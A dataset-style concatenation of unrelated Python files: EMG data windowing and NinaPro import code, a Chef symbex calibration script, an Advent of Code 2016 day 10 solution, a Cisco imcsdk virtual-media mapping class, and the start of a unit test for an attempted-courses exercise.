(should be normalise beforehand) movements (array): Movement labels repetitons (array): Repetition labels which_moves (array, optional): Which movements to return - if None use all dtype (TYPE, optional): What precision to use for EMG data Returns: X_data (array): Windowed EMG data Y_data (array): Movement label for each window R_data (array): Repetition label for each window """ nb_obs = emg.shape[0] nb_channels = emg.shape[1] # All possible window end locations given an increment size possible_targets = np.array(range(window_len - 1, nb_obs, window_inc)) targets = get_idxs(repetitons[possible_targets], which_reps) # Re-adjust back to original range (for indexinging into rep/move) targets = (window_len - 1) + targets * window_inc # Keep only selected movement(s) if which_moves is not None: move_targets = get_idxs(movements[targets], which_moves) targets = targets[move_targets] X_data = np.zeros([targets.shape[0], window_len, nb_channels, 1], dtype=dtype) Y_data = np.zeros([targets.shape[0], ], dtype=np.int8) R_data = np.zeros([targets.shape[0], ], dtype=np.int8) for i, win_end in enumerate(targets): win_start = win_end - (window_len - 1) if movements[win_start] == movements[win_end]: X_data[i, :, :, 0] = emg[win_start:win_end + 1, :] # Include end Y_data[i] = movements[win_end] R_data[i] = repetitons[win_end] return X_data, Y_data, R_data def to_categorical(y, nb_classes=None): """Convert a class vector (integers) to binary class matrix. E.g. for use with categorical_crossentropy. # Arguments y: class vector to be converted into a matrix (integers from 0 to nb_classes). nb_classes: total number of classes. # Returns A binary matrix representation of the input. Taken from: https://github.com/fchollet/keras/blob/master/keras/utils/np_utils.py v2.0.2 of Keras to remove unnecessary Keras dependency """ y = np.array(y, dtype='int').ravel() if not nb_classes: nb_classes = np.max(y) + 1 n = y.shape[0] categorical = np.zeros((n, nb_classes)) categorical[np.arange(n), y] = 1 return categorical def get_idxs(in_array, to_find): """Utility function for finding the positions of observations of one array in another an array. Args: in_array (array): Array in which to locate elements of to_find to_find (array): Array of elements to locate in in_array Returns: TYPE: Indices of all elements of to_find in in_array """ targets = ([np.where(in_array == x) for x in to_find]) return np.squeeze(np.concatenate(targets, axis=1)) def db_info(db): """Return relevant info on databases 1 and2. Args: db (int): Which database to get info on (1 or 2 currently) Returns: Dict: Useful information on selected database """ if db == 1: # General Info nb_subjects = 27 nb_channels = 10 nb_moves = 53 # 52 + rest nb_reps = 10 fs = 100 # Labels rep_labels = np.array(range(1, nb_reps + 1)) move_labels = np.array(range(1, nb_moves + 1)) # Male - Female female = np.array([6, 8, 10, 14, 15, 20, 22]) male = np.array([1, 2, 3, 4, 6, 8, 10, 11, 12, 15, 16, 17, 18, 20, 22, 23, 24, 25, 26, 27]) female_ind = np.array([5, 7, 9, 13, 14, 19, 21]) male_ind = np.array([0, 1, 2, 3, 5, 7, 9, 10, 11, 14, 15, 16, 17, 19, 21, 22, 23, 24, 25, 26]) # Handedness left_handed = np.array([14, 16]) right_handed = np.array([1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 15, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27]) left_handed_ind = np.array([13, 15]) right_handed_ind = np.array([0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 14, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26]) # Other Info (synced) ages = np.array([31, 27, 22, 27, 27, 22, 28, 27, 23, 30, 28, 25, 27, 29, 26, 29, 30, 29, 34, 26, 38, 35, 30, 26, 28, 40, 28]) heights = np.array([170, 170, 180, 183, 178, 163, 170, 164, 173, 160, 170, 185, 184, 155, 162, 167, 175, 178, 173, 165, 178, 168, 180, 180, 180, 179, 185]) weights = np.array([75, 62, 85, 95, 75, 48, 60, 54, 63, 60, 67, 80, 85, 54, 60, 67, 76, 68, 82, 54, 73, 65, 65, 65, 70, 66, 100]) elif db == 2: # General Info nb_subjects = 40 nb_channels = 12 nb_moves = 50 # 40 + 9 force movements + rest nb_reps = 6 fs = 2000 # Labels rep_labels = np.array(range(1, nb_reps + 1)) move_labels = np.array(range(1, nb_moves + 1)) # Male - Female female = np.array([4, 11, 14, 18, 19, 20, 22, 28, 35, 36, 38]) male = np.array([1, 2, 3, 5, 6, 7, 8, 9, 10, 12, 13, 15, 16, 17, 21, 23, 24, 25, 26, 27, 29, 30, 31, 32, 33, 34, 37, 39, 40]) female_ind = np.array([3, 10, 13, 17, 18, 19, 21, 27, 34, 35, 37]) male_ind = np.array([0, 1, 2, 4, 5, 6, 7, 8, 9, 11, 12, 14, 15, 16, 20, 22, 23, 24, 25, 26, 28, 29, 30, 31, 32, 33, 36, 38, 39]) # Handedness left_handed = np.array([4, 13, 22, 25, 26]) right_handed = np.array([1, 2, 3, 5, 6, 7, 8, 9, 10, 11, 12, 14, 15, 16, 17, 18, 19, 20, 21, 23, 24, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40]) left_handed_ind = np.array([3, 12, 21, 24, 25]) right_handed_ind = np.array([0, 1, 2, 4, 5, 6, 7, 8, 9, 10, 11, 13, 14, 15, 16, 17, 18, 19, 20, 22, 23, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39]) # Other Info (synced) ages = np.array([29, 29, 31, 30, 25, 35, 27, 45, 23, 34, 32, 29, 30, 30, 30, 34, 29, 30, 31, 26, 32, 28, 25, 28, 31, 30, 29, 29, 27, 30, 29, 28, 25, 31, 24, 27, 34, 30, 31, 31]) heights = np.array([187, 183, 174, 154, 175, 172, 187, 173, 172, 173, 150, 184, 182, 173, 169, 173, 175, 169, 158, 155, 170, 162, 170, 170, 168, 186, 170, 160, 171, 173, 185, 173, 183, 192, 170, 155, 190, 163, 183, 173]) weights = np.array([75, 75, 69, 50, 70, 79, 92, 73, 63, 84, 54, 90, 70, 59, 58, 76, 70, 90, 52, 52, 75, 54, 66, 73, 70, 90, 65, 61, 64, 68, 98, 72, 71, 78, 52, 44, 105, 62, 96, 65]) else: raise ValueError('db should be either 1 for database 1 or 2 for database 2') return {'nb_subjects': nb_subjects, 'nb_channels': nb_channels, 'nb_moves': nb_moves, 'nb_reps': nb_reps, 'fs': fs, 'rep_labels': rep_labels, 'move_labels': move_labels, 'female': female, 'male': male, 'female_ind': female_ind, 'male_ind': male_ind, 'left_handed': left_handed, 'right_handed': right_handed, 'left_handed_ind': left_handed_ind, 'right_handed_ind': right_handed_ind, 'ages': ages, 'heights': heights, 'weights': weights, } def import_subject(folder_path, subject, db, rest_length_cap=999): """Function for extracting data from raw NinaiPro files for DB1. Args: folder_path (string): Path to folder containing raw mat files subject (int): 1-27 which subject's data to import rest_length_cap (int, optional): The number of seconds of rest data to keep before/after a movement db (int): Which database to get info on (1 or 2 currently) Returns: Dictionary: Raw EMG data, corresponding repetition and movement labels, indices of where repetitions are demarked and the number of repetitions with capped off rest data """ if db == 1: fs = 100 cur_path = os.path.normpath(folder_path + '/S' + str(subject) + '_A1_E1.mat') data = sio.loadmat(cur_path) emg = np.squeeze(np.array(data['emg'])) rep = np.squeeze(np.array(data['rerepetition'])) move = np.squeeze(np.array(data['restimulus'])) cur_path = os.path.normpath(folder_path + '/S' + str(subject) + '_A1_E2.mat') data = sio.loadmat(cur_path) emg = np.vstack((emg, np.array(data['emg']))) rep = np.append(rep, np.squeeze(np.array(data['rerepetition']))) move_tmp = np.squeeze(np.array(data['restimulus'])) # Fix for numbering move_tmp[move_tmp != 0] += max(move) move = np.append(move, move_tmp) cur_path = os.path.normpath(folder_path + '/S' + str(subject) + '_A1_E3.mat') data = sio.loadmat(cur_path) emg = np.vstack((emg, np.array(data['emg']))) rep = np.append(rep, np.squeeze(np.array(data['rerepetition']))) move_tmp = np.squeeze(np.array(data['restimulus'])) # Fix for numbering move_tmp[move_tmp != 0] += max(move) move = np.append(move, move_tmp) move = move.astype('int8') # To minimise overhead # Label repetitions using new block style: rest-move-rest regions move_regions = np.where(np.diff(move))[0] rep_regions = np.zeros((move_regions.shape[0],), dtype=int) nb_reps = int(round(move_regions.shape[0] / 2)) last_end_idx = int(round(move_regions[0] / 2)) nb_unique_reps = np.unique(rep).shape[0] - 1 # To account for 0 regions nb_capped = 0 cur_rep = 1 rep = np.zeros([rep.shape[0], ], dtype=np.int8) # Reset rep array for i in range(nb_reps - 1): rep_regions[2 * i] = last_end_idx midpoint_idx = int(round((move_regions[2 * (i + 1) - 1] + move_regions[2 * (i + 1)]) / 2)) + 1 trailing_rest_samps = midpoint_idx - move_regions[2 * (i + 1) - 1] if trailing_rest_samps <= rest_length_cap * fs: rep[last_end_idx:midpoint_idx] = cur_rep last_end_idx = midpoint_idx rep_regions[2 * i + 1] = midpoint_idx - 1 else: rep_end_idx = (move_regions[2 * (i + 1) - 1] + int(round(rest_length_cap * fs))) rep[last_end_idx:rep_end_idx] = cur_rep last_end_idx = ((move_regions[2 * (i + 1)] - int(round(rest_length_cap * fs)))) rep_regions[2 * i + 1] = rep_end_idx - 1 nb_capped += 2 cur_rep += 1 if cur_rep > nb_unique_reps: cur_rep = 1 end_idx = int(round((emg.shape[0] + move_regions[-1]) / 2)) rep[last_end_idx:end_idx] = cur_rep rep_regions[-2] = last_end_idx rep_regions[-1] = end_idx - 1 elif db == 2: fs = 2000 cur_path = os.path.normpath(folder_path + '/S' + str(subject) + '_E1_A1.mat') data = sio.loadmat(cur_path) emg = np.squeeze(np.array(data['emg'])) rep = np.squeeze(np.array(data['rerepetition'])) move = np.squeeze(np.array(data['restimulus'])) cur_path = os.path.normpath(folder_path + '/S' + str(subject) + '_E2_A1.mat') data = sio.loadmat(cur_path) emg = np.vstack((emg, np.array(data['emg']))) rep = np.append(rep, np.squeeze(np.array(data['rerepetition']))) move_tmp = np.squeeze(np.array(data['restimulus'])) move = np.append(move, move_tmp) # Note no fix needed for this exercise cur_path = os.path.normpath(folder_path + '/S' + str(subject) + '_E3_A1.mat') data = sio.loadmat(cur_path) emg = np.vstack((emg, np.array(data['emg']))) data['repetition'][-1] = 0 # Fix for diffing rep = np.append(rep, np.squeeze(np.array(data['repetition']))) # Movements number in non-logical pattern [0 1 2 4 6 8 9 16 32 40] # Also note that for last file there is no 'rerepetition or 'restimulus' data['stimulus'][-1] = 0 # Fix for diffing data['stimulus'][np.where(data['stimulus'] == 1)] = 41 data['stimulus'][np.where(data['stimulus'] == 2)] = 42 data['stimulus'][np.where(data['stimulus'] == 4)] = 43 data['stimulus'][np.where(data['stimulus'] == 6)] = 44 data['stimulus'][np.where(data['stimulus'] == 8)] = 45 data['stimulus'][np.where(data['stimulus'] == 9)] = 46 data['stimulus'][np.where(data['stimulus'] == 16)] = 47 data['stimulus'][np.where(data['stimulus'] == 32)] = 48 data['stimulus'][np.where(data['stimulus'] == 40)] = 49 move_tmp = np.squeeze(np.array(data['stimulus'])) move = np.append(move, move_tmp) move = move.astype('int8') # To minimise overhead # Label repetitions using new block style: rest-move-rest regions move_regions = np.where(np.diff(move))[0] rep_regions = np.zeros((move_regions.shape[0],), dtype=int) nb_reps = int(round(move_regions.shape[0] / 2)) last_end_idx = int(round(move_regions[0] / 2)) nb_unique_reps = np.unique(rep).shape[0] - 1 # To account for 0 regions nb_capped = 0 cur_rep = 1 rep = np.zeros([rep.shape[0], ], dtype=np.int8) # Reset rep array for i in range(nb_reps - 1): rep_regions[2 * i] = last_end_idx midpoint_idx = int(round((move_regions[2 * (i + 1) - 1] + move_regions[2 * (i + 1)]) / 2)) + 1 trailing_rest_samps = midpoint_idx - move_regions[2 * (i + 1) - 1] if trailing_rest_samps <= rest_length_cap * fs: rep[last_end_idx:midpoint_idx] = cur_rep last_end_idx = midpoint_idx rep_regions[2 * i + 1] = midpoint_idx - 1 else: rep_end_idx = (move_regions[2 * (i + 1) - 1] + int(round(rest_length_cap * fs))) rep[last_end_idx:rep_end_idx] = cur_rep last_end_idx = ((move_regions[2 * (i + 1)] - int(round(rest_length_cap * fs)))) rep_regions[2 * i + 1] = rep_end_idx - 1 nb_capped += 2 cur_rep += 1 if cur_rep > nb_unique_reps: cur_rep = 1 end_idx = int(round((emg.shape[0] + move_regions[-1]) / 2)) rep[last_end_idx:end_idx] = cur_rep rep_regions[-2] = last_end_idx rep_regions[-1] = end_idx - 1 else: raise ValueError('db should be either 1 for database 1 or 2 for database 2') return {'emg': emg, 'rep': rep, 'move': move, 'rep_regions': rep_regions, 'nb_capped': nb_capped }

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fba5644ae7488d95bde127cddafbc5b955537ea9

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py

Python

Chef/calibrate/default.py

dslab-epfl/chef-symbex-python

598d18ae2fe7f3af78489442e11b4505b001ddd3

[ "PSF-2.0" ]

7

2015-05-20T11:45:39.000Z

2021-04-18T19:32:34.000Z

Chef/calibrate/default.py

dslab-epfl/chef-symbex-python

598d18ae2fe7f3af78489442e11b4505b001ddd3

[ "PSF-2.0" ]

null

Chef/calibrate/default.py

dslab-epfl/chef-symbex-python

598d18ae2fe7f3af78489442e11b4505b001ddd3

[ "PSF-2.0" ]

1

2015-08-04T14:34:28.000Z

#!/usr/bin/env python # from chef import symbex def calibrate(): x = 0 y = 1 symbex.calibrate(1, 0) x = x + y y = x + y x = x * 2 y = y / 2 symbex.calibrate(1, 5) x = x + y y = x + y x = x * 2 y = y / 2 symbex.calibrate(1, 5) x = x + y y = x + y x = x * 2 y = y / 2 symbex.calibrate(1, 5) x = x + y y = x + y x = x * 2 y = y / 2 symbex.calibrate(1, 5) x = x + y y = x + y x = x * 2 y = y / 2 symbex.calibrate(1, 5) x = x + y y = x + y x = x * 2 y = y / 2 symbex.calibrate(1, 5) x = x + y y = x + y x = x * 2 y = y / 2 symbex.calibrate(1, 5) x = x + y y = x + y x = x * 2 y = y / 2 symbex.calibrate(1, 5) x = x + y y = x + y x = x * 2 y = y / 2 symbex.calibrate(1, 5) x = x + y y = x + y x = x * 2 y = y / 2 symbex.calibrate(1, 5) x = x + y y = x + y x = x * 2 y = y / 2 symbex.calibrate(1, 5) x = x + y y = x + y x = x * 2 y = y / 2 symbex.calibrate(1, 5) x = x + y y = x + y x = x * 2 y = y / 2 symbex.calibrate(1, 5) x = x + y y = x + y x = x * 2 y = y / 2 symbex.calibrate(1, 5) x = x + y y = x + y x = x * 2 y = y / 2 symbex.calibrate(1, 5) def main(): symbex.calibrate(0) calibrate() symbex.calibrate(2) if __name__ == "__main__": main()

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0.387949

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1,477

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0

7

fbc86afae91c13fecee89d212f7e0dbda819d2a7

5,956

py

Python

2016/day_10/python/day10.py

josephroquedev/advent-of-code

bb217deb7a5f5ed5c8c04cb726ddadb5b042ee4d

[ "MIT" ]

null

2016/day_10/python/day10.py

josephroquedev/advent-of-code

bb217deb7a5f5ed5c8c04cb726ddadb5b042ee4d

[ "MIT" ]

2

2021-06-02T00:41:38.000Z

2021-11-30T10:05:29.000Z

2016/day_10/python/day10.py

autoreleasefool/advent-of-code

bb217deb7a5f5ed5c8c04cb726ddadb5b042ee4d

[ "MIT" ]

null

from aoc import AOC import re aoc = AOC(year=2016, day=10) data = aoc.load() ## Part 1 class Bot: # Encapsulates bot instructions def __init__( self, number, gives_lower_to_output, lower_to_number, gives_higher_to_output, higher_to_number, chip_number, ): self.number = number self.on_lower_chip = (gives_lower_to_output, lower_to_number) self.on_higher_chip = (gives_higher_to_output, higher_to_number) self.chip_number = chip_number # Handle when the bot is given a chip def receive_chip(self, chip_number): if self.chip_number is None: self.chip_number = chip_number return None # Check for solution if (self.chip_number == 61 and chip_number == 17) or ( self.chip_number == 17 and chip_number == 61 ): aoc.p1(self.number) higher_chip = max(self.chip_number, chip_number) lower_chip = min(self.chip_number, chip_number) self.chip_number = None return self.on_lower_chip + (lower_chip,) + self.on_higher_chip + (higher_chip,) # Regular expressions to parse bot setup re_instruction = re.compile( r"bot (\d+) gives low to (bot|output) (\d+) and high to (bot|output) (\d+)" ) re_initial_chip = re.compile(r"value (\d+) goes to bot (\d+)") bots = {} output_bins = {} chips_to_pass = [] for line in data.lines(): if line[0] == "b": # Passing instructions # Get instructions for bot to pass chips instruction = re_instruction.match(line) bot_number = int(instruction.group(1)) lower_to_output = instruction.group(2) == "output" lower_goes_to = int(instruction.group(3)) higher_to_output = instruction.group(4) == "output" higher_goes_to = int(instruction.group(5)) # Construct the bot with the given info bots[bot_number] = Bot( bot_number, lower_to_output, lower_goes_to, higher_to_output, higher_goes_to, None, ) else: # Initial chip # Get the bot's starting chip initial_chip = re_initial_chip.match(line) start_chip = int(initial_chip.group(1)) bot_number = int(initial_chip.group(2)) chips_to_pass.append((False, bot_number, start_chip)) # Iterate over all chips being handled while chips_to_pass: to_pass = chips_to_pass.pop() if to_pass[0]: # Pass to output bin output_bin = to_pass[1] chip = to_pass[2] if output_bin in output_bins: output_bins[output_bin].append(chip) else: output_bins[output_bin] = [chip] else: # Pass to other bot bot = to_pass[1] chip = to_pass[2] result = bots[bot].receive_chip(chip) if result is not None: # When bots have 2 chips, they give out their chips chips_to_pass.append((result[0], result[1], result[2])) chips_to_pass.append((result[3], result[4], result[5])) ## Part 2 # Encapsulates bot instructions class Bot: def __init__( self, number, gives_lower_to_output, lower_to_number, gives_higher_to_output, higher_to_number, chip_number, ): self.number = number self.on_lower_chip = (gives_lower_to_output, lower_to_number) self.on_higher_chip = (gives_higher_to_output, higher_to_number) self.chip_number = chip_number # Handle when the bot is given a chip def receive_chip(self, chip_number): if self.chip_number is None: self.chip_number = chip_number return None higher_chip = max(self.chip_number, chip_number) lower_chip = min(self.chip_number, chip_number) self.chip_number = None return self.on_lower_chip + (lower_chip,) + self.on_higher_chip + (higher_chip,) # Regular expressions to parse bot setup re_instruction = re.compile( "bot (\\d+) gives low to (bot|output) (\\d+) and high to (bot|output) (\\d+)" ) re_initial_chip = re.compile("value (\\d+) goes to bot (\\d+)") bots = {} output_bins = {} chips_to_pass = [] for line in data.lines(): if line[0] == "b": # Passing instructions # Get instructions for bot to pass chips instruction = re_instruction.match(line) bot_number = int(instruction.group(1)) lower_to_output = instruction.group(2) == "output" lower_goes_to = int(instruction.group(3)) higher_to_output = instruction.group(4) == "output" higher_goes_to = int(instruction.group(5)) # Construct the bot with the given info bots[bot_number] = Bot( bot_number, lower_to_output, lower_goes_to, higher_to_output, higher_goes_to, None, ) else: # Initial chip # Get the bot's starting chip initial_chip = re_initial_chip.match(line) start_chip = int(initial_chip.group(1)) bot_number = int(initial_chip.group(2)) chips_to_pass.append((False, bot_number, start_chip)) # Iterate over all chips being handled while chips_to_pass: to_pass = chips_to_pass.pop() if to_pass[0]: # Pass to output bin output_bin = to_pass[1] chip = to_pass[2] if output_bin in output_bins: output_bins[output_bin].append(chip) else: output_bins[output_bin] = [chip] else: # Pass to other bot bot = to_pass[1] chip = to_pass[2] result = bots[bot].receive_chip(chip) if result is not None: # When bots have 2 chips, they give out their chips chips_to_pass.append((result[0], result[1], result[2])) chips_to_pass.append((result[3], result[4], result[5])) aoc.p2(output_bins[0][0] * output_bins[1][0] * output_bins[2][0])

30.860104

88

0.61904

826

5,956

4.193705

0.125908

0.080831

0.064665

0.04157

0.920901

0

0.014964

0.281901

5,956

192

89

31.020833

0.79495

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0

0.886525

0

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0.045173

0

1

0.028369

false

0.156028

0.014184

0

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null

0

1

0

1

0

null

0

1

0

8

8389b4cfa0fcd43b4556aed089ff2090e1226ba0

7,390

py

Python

imcsdk/mometa/comm/CommSavedVMediaMap.py

vadimkuznetsov/imcsdk

ed038ce1dbc8031f99d2dfb3ccee3bf0b48309d8

[ "Apache-2.0" ]

null

imcsdk/mometa/comm/CommSavedVMediaMap.py

vadimkuznetsov/imcsdk

ed038ce1dbc8031f99d2dfb3ccee3bf0b48309d8

[ "Apache-2.0" ]

null

imcsdk/mometa/comm/CommSavedVMediaMap.py

vadimkuznetsov/imcsdk

ed038ce1dbc8031f99d2dfb3ccee3bf0b48309d8

[ "Apache-2.0" ]

1

2019-11-10T18:42:04.000Z

"""This module contains the general information for CommSavedVMediaMap ManagedObject.""" from ...imcmo import ManagedObject from ...imccoremeta import MoPropertyMeta, MoMeta from ...imcmeta import VersionMeta class CommSavedVMediaMapConsts: ADMIN_ACTION_DELETE_VOLUME = "delete-volume" ADMIN_ACTION_REMAP_VOLUME = "remap-volume" DRIVE_TYPE_CD = "cd" DRIVE_TYPE_FLOPPY = "floppy" MAP_CIFS = "cifs" MAP_NFS = "nfs" MAP_WWW = "www" class CommSavedVMediaMap(ManagedObject): """This is CommSavedVMediaMap class.""" consts = CommSavedVMediaMapConsts() naming_props = set([u'volumeName']) mo_meta = { "classic": MoMeta("CommSavedVMediaMap", "commSavedVMediaMap", "saved-vmmap-[volume_name]", VersionMeta.Version301c, "InputOutput", 0x3f, [], ["admin", "read-only", "user"], [u'commVMedia'], [], ["Get", "Remove", "Set"]), "modular": MoMeta("CommSavedVMediaMap", "commSavedVMediaMap", "saved-vmmap-[volume_name]", VersionMeta.Version301c, "InputOutput", 0x3f, [], ["admin", "read-only", "user"], [u'commVMedia'], [], ["Get", "Remove", "Set"]) } prop_meta = { "classic": { "admin_action": MoPropertyMeta("admin_action", "adminAction", "string", VersionMeta.Version301c, MoPropertyMeta.READ_WRITE, 0x2, 0, 510, None, ["delete-volume", "remap-volume"], []), "child_action": MoPropertyMeta("child_action", "childAction", "string", VersionMeta.Version301c, MoPropertyMeta.INTERNAL, None, None, None, None, [], []), "dn": MoPropertyMeta("dn", "dn", "string", VersionMeta.Version301c, MoPropertyMeta.READ_WRITE, 0x4, 0, 255, None, [], []), "drive_type": MoPropertyMeta("drive_type", "driveType", "string", VersionMeta.Version301c, MoPropertyMeta.READ_ONLY, None, None, None, None, ["cd", "floppy"], []), "map": MoPropertyMeta("map", "map", "string", VersionMeta.Version301c, MoPropertyMeta.READ_ONLY, None, None, None, None, ["cifs", "nfs", "www"], []), "mount_options": MoPropertyMeta("mount_options", "mountOptions", "string", VersionMeta.Version301c, MoPropertyMeta.READ_ONLY, None, 1, 248, None, [], []), "password": MoPropertyMeta("password", "password", "string", VersionMeta.Version301c, MoPropertyMeta.READ_ONLY, None, None, None, None, [], []), "remote_file": MoPropertyMeta("remote_file", "remoteFile", "string", VersionMeta.Version301c, MoPropertyMeta.READ_ONLY, None, None, None, r"""[ !#$%&\*\+,\-\./:;\?@\[\]_\{\|\}~a-zA-Z0-9]{1,235}""", [], []), "remote_share": MoPropertyMeta("remote_share", "remoteShare", "string", VersionMeta.Version301c, MoPropertyMeta.READ_ONLY, None, None, None, r"""[ !#$%&\*\+,\-\./:;\?@\[\]_\{\|\}~a-zA-Z0-9]{1,235}""", [], []), "rn": MoPropertyMeta("rn", "rn", "string", VersionMeta.Version301c, MoPropertyMeta.READ_WRITE, 0x8, 0, 255, None, [], []), "status": MoPropertyMeta("status", "status", "string", VersionMeta.Version301c, MoPropertyMeta.READ_WRITE, 0x10, None, None, None, ["", "created", "deleted", "modified", "removed"], []), "username": MoPropertyMeta("username", "username", "string", VersionMeta.Version301c, MoPropertyMeta.READ_ONLY, None, None, None, None, [], []), "volume_name": MoPropertyMeta("volume_name", "volumeName", "string", VersionMeta.Version301c, MoPropertyMeta.NAMING, 0x20, None, None, r"""[\-\.:_a-zA-Z0-9]{1,47}""", [], []), }, "modular": { "admin_action": MoPropertyMeta("admin_action", "adminAction", "string", VersionMeta.Version301c, MoPropertyMeta.READ_WRITE, 0x2, 0, 510, None, ["delete-volume", "remap-volume"], []), "child_action": MoPropertyMeta("child_action", "childAction", "string", VersionMeta.Version301c, MoPropertyMeta.INTERNAL, None, None, None, None, [], []), "dn": MoPropertyMeta("dn", "dn", "string", VersionMeta.Version301c, MoPropertyMeta.READ_WRITE, 0x4, 0, 255, None, [], []), "drive_type": MoPropertyMeta("drive_type", "driveType", "string", VersionMeta.Version301c, MoPropertyMeta.READ_ONLY, None, None, None, None, ["cd", "floppy"], []), "map": MoPropertyMeta("map", "map", "string", VersionMeta.Version301c, MoPropertyMeta.READ_ONLY, None, None, None, None, ["cifs", "nfs", "www"], []), "mount_options": MoPropertyMeta("mount_options", "mountOptions", "string", VersionMeta.Version301c, MoPropertyMeta.READ_ONLY, None, 1, 248, None, [], []), "password": MoPropertyMeta("password", "password", "string", VersionMeta.Version301c, MoPropertyMeta.READ_ONLY, None, None, None, None, [], []), "remote_file": MoPropertyMeta("remote_file", "remoteFile", "string", VersionMeta.Version301c, MoPropertyMeta.READ_ONLY, None, None, None, r"""[ !#$%&\*\+,\-\./:;\?@\[\]_\{\|\}~a-zA-Z0-9]{1,235}""", [], []), "remote_share": MoPropertyMeta("remote_share", "remoteShare", "string", VersionMeta.Version301c, MoPropertyMeta.READ_ONLY, None, None, None, r"""[ !#$%&\*\+,\-\./:;\?@\[\]_\{\|\}~a-zA-Z0-9]{1,235}""", [], []), "rn": MoPropertyMeta("rn", "rn", "string", VersionMeta.Version301c, MoPropertyMeta.READ_WRITE, 0x8, 0, 255, None, [], []), "status": MoPropertyMeta("status", "status", "string", VersionMeta.Version301c, MoPropertyMeta.READ_WRITE, 0x10, None, None, None, ["", "created", "deleted", "modified", "removed"], []), "username": MoPropertyMeta("username", "username", "string", VersionMeta.Version301c, MoPropertyMeta.READ_ONLY, None, None, None, None, [], []), "volume_name": MoPropertyMeta("volume_name", "volumeName", "string", VersionMeta.Version301c, MoPropertyMeta.NAMING, 0x20, None, None, r"""[\-\.:_a-zA-Z0-9]{1,47}""", [], []), }, } prop_map = { "classic": { "adminAction": "admin_action", "childAction": "child_action", "dn": "dn", "driveType": "drive_type", "map": "map", "mountOptions": "mount_options", "password": "password", "remoteFile": "remote_file", "remoteShare": "remote_share", "rn": "rn", "status": "status", "username": "username", "volumeName": "volume_name", }, "modular": { "adminAction": "admin_action", "childAction": "child_action", "dn": "dn", "driveType": "drive_type", "map": "map", "mountOptions": "mount_options", "password": "password", "remoteFile": "remote_file", "remoteShare": "remote_share", "rn": "rn", "status": "status", "username": "username", "volumeName": "volume_name", }, } def __init__(self, parent_mo_or_dn, volume_name, **kwargs): self._dirty_mask = 0 self.volume_name = volume_name self.admin_action = None self.child_action = None self.drive_type = None self.map = None self.mount_options = None self.password = None self.remote_file = None self.remote_share = None self.status = None self.username = None ManagedObject.__init__(self, "CommSavedVMediaMap", parent_mo_or_dn, **kwargs)

62.627119

228

0.60406

699

7,390

6.223176

0.151645

0.08092

0.167356

0.251034

0.812414

0

0.030334

0.201489

7,390

117

229

63.162393

0.706829

0.015697

0

0.583333

0

0.271964

0.042413

0

0.005784

0

1

0.010417

false

0.052083

0.03125

0

0.1875

0

null

0

1

0

null

0

1

0

8

f7ddc3dba348063a9525289f18d2ba16a3439900

12,531

py

Python

advanced/part12-11_attempted_courses/test/test_attempted_courses.py

Hannah-Abi/python-pro-21

2ce32c4bf118054329d19afdf83c50561be1ada8

[ "MIT" ]

null

advanced/part12-11_attempted_courses/test/test_attempted_courses.py

Hannah-Abi/python-pro-21

2ce32c4bf118054329d19afdf83c50561be1ada8

[ "MIT" ]

null

advanced/part12-11_attempted_courses/test/test_attempted_courses.py

Hannah-Abi/python-pro-21

2ce32c4bf118054329d19afdf83c50561be1ada8

[ "MIT" ]

null

import unittest from unittest.mock import patch from tmc import points, reflect from tmc.utils import load, load_module, reload_module, get_stdout, check_source, sanitize from functools import reduce import os import os.path import textwrap from random import choice, randint from datetime import date, datetime, timedelta exercise = 'src.attempted_courses' def f(attr: list): return ",".join(attr) def s(response): output = "" for n in response: output += n + "\n" return output class AttemptedCoursesTest(unittest.TestCase): @classmethod def setUpClass(cls): with patch('builtins.input', side_effect=[AssertionError("Input was not expected")]): cls.module = load_module(exercise, 'fi') def test_0a_main_ok(self): ok, line = check_source(self.module) message = """Code testing the functions must be located after the if __name__ == "__main__": block. The following line must be moved: """ self.assertTrue(ok, message+line) @points('12.attempted_courses_part1') def test_01_function_names_of_students_exists(self): try: from src.attempted_courses import names_of_students except: self.fail("Your program should have a function called names_of_students(attempts: list)") @points('12.attempted_courses_part1') def test_02_course_names_return_type(self): from src.attempted_courses import names_of_students from src.attempted_courses import CourseAttempt code = """ s1 = CourseAttempt("Peter Python", "Introduction to Programming", 3) s2 = CourseAttempt("Paula Programmer", "Introduction to Programming", 5) s3 = CourseAttempt("Peter Python", "Advanced Programming", 2) course_names([s1, s2, s3]) """ try: s1 = CourseAttempt("Peter Python", "Introduction to Programming", 3) s2 = CourseAttempt("Paula Programmer", "Introduction to Programming", 5) s3 = CourseAttempt("Peter Python", "Advanced Programming", 2) response = names_of_students([s1, s2, s3]) except: self.fail(f"Check that the following code can be executed\n{code}") m = map(None, []) taip = str(type(response)).replace("<class '","").replace("'>","") self.assertTrue(type(response) == type(m) or type(response) == list, f"Function names_of_students(students: list) should return map or list, now the return value was of type {taip}") for alkio in response: etaip = str(type("")).replace("<class '","").replace("'>","") taip = str(type(alkio)).replace("<class '","").replace("'>","") self.assertTrue(type(alkio) == type(""), f"When this code is executed {code}the values returned should be of type {etaip} now the type is {taip}") @points('12.attempted_courses_part1') def test_03_names_of_students_works_1(self): from src.attempted_courses import names_of_students from src.attempted_courses import CourseAttempt code = """ s1 = CourseAttempt("Peter Python", "Introduction to Programming", 3) s2 = CourseAttempt("Paula Programmer", "Introduction to Programming", 5) s3 = CourseAttempt("Peter Python", "Advanced Programming", 2) course_names([s1, s2, s3]) """ try: s1 = CourseAttempt("Peter Python", "Introduction to Programming", 3) s2 = CourseAttempt("Paula Programmer", "Introduction to Programming", 5) s3 = CourseAttempt("Peter Python", "Advanced Programming", 2) response = names_of_students([s1, s2, s3]) except: self.fail(f"Check that the following code can be executed\n{code}") exp = [ s.student_name for s in [s1, s2, s3]] output = "" vast = [] for n in response: output += n + "\n" vast.append(n) self.assertEquals(sorted(vast), sorted(exp), f"When this code is executed {code}it should retunrn \n{s(exp)}\nnow the function returns\n{output}") @points('12.attempted_courses_part1') def test_04_names_of_students_map_used(self): src_file = os.path.join('src', 'attempted_courses.py') lines = [] p = False with open(src_file) as f: for line in f: if "def names_of_students" in line: p = True elif p and ('__name__ == "__main__":' in line or "def names_of_students" in line): p = False elif p: lines.append(line) on = False for line in lines: 